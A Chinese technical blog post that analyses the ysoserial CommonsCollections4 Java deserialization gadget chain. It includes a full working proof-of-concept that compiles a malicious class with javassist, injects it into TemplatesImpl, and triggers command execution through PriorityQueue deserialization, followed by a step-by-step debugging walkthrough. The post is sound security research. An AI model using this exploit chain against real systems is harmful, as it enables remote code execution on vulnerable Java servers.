首页 > 技术文章 > Ysoserial Commons Collections4分析

CoLo 2021-10-15 23:58 原文

Ysoserial Commons Collections4分析

写在前面

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist

与cc3一样建议使用javassist:3.12.0.GA依赖

cc4基本就是cc3和cc2的结合,简单看下来好像没什么新的点

yso项目给的注释:cc2的变体,使用InstantiateTransformer替代了InvokerTransformer

/*
 * Variation on CommonsCollections2 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */

poc,感觉也没啥可分析的,这些点基本都在之前的文章有提到

Ysoserial Commons Collections2分析

Ysoserial Commons Collections3分析

import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections44444444");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();


        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

调试分析

在PriorityQueue#readObject下断点,debug,跟进heapify()方法

这里之前cc2的文章也提到过,设置PriorityQueue对象长度为2目的是为了让这里for循环中i的初始值为0从而正常进入循环中的siftDown方法

这里做了判断如果属性comparator不为null进入siftDownUsingComparator()方法,而comparator在poc中通过反射将其值设置为了transfCom(后续具体生成恶意类的TransformingComparator对象)

在siftDownUsingComparator()方法中调用了属性comparator的compare方法,继续跟进

在compare()方法中调用了ChainedTransformer#transform()方法

其中第一次循环拿到了通过ConstantTransformer#transform()方法拿到了ConstantTransformer#iConstant属性,在poc中new ConstantTransformer类时通过有参构造方法已经把值设置为TrAXFilter.class,所以这里第一次拿到的object值为TrAXFilter.class;

第二次循环时将TrAXFilter.class作为参数传入InstantiateTransformer#transform()方法,首先通过反射先去获取TrAXFilter类的参数类型为Templates的有参构造方法

可以从TrAXFilter类的Structure中看到确实有符合的有参构造方法,可以在此方法下个断点,F9跟进来

调用了TemplatesImpl的newTransformer()方法

调用getTransletInstance()方法,继续跟进

在第一个if中_name参数在poc中反射设置为了test,所以进入第二个if,因为一开始_class就为null,调用defineTransletClasses()方法

之后调用ClassLoader#defineClass()加载之前恶意类的byte数组,并在下面if中,poc反射设置了恶意类父类为AbstractTranslet后将_transletIndex属性设置为0

回到getTransletInstance()方法通过newInstance()方法实例化恶意类,触发静态代码块中代码执行

End

CC4没什么新的东西,之前分析了CC2和CC3再来看的话会比较简单

PoC Gadget Chain

ObjectInputStream#readObject()
  PriorityQueue#readObject()
  	PriorityQueue#heapify()
  		PriorityQueue#siftDown()
  			PriorityQueue#siftDownUsingComparator()
  				TransformingComparator#compare()
  					ChainedTransformer#transform()
  						ConstantTransformer#transform()
  						InstantiateTransformer#transform()
  							TrAXFilter#TrAXfilter(Templates templates)
  								TemplatesImpl#newTransformer()
  									TemplatesImpl#getTransletInstance()
  										TemplatesImpl#defineTransletClasses()
  											TransletClassLoader#defineClass()
  									TemplatesImpl#getTransletInstance()
  											_class[_transletIndex]#newInstance()
  													触发静态代码块中代码执行

推荐阅读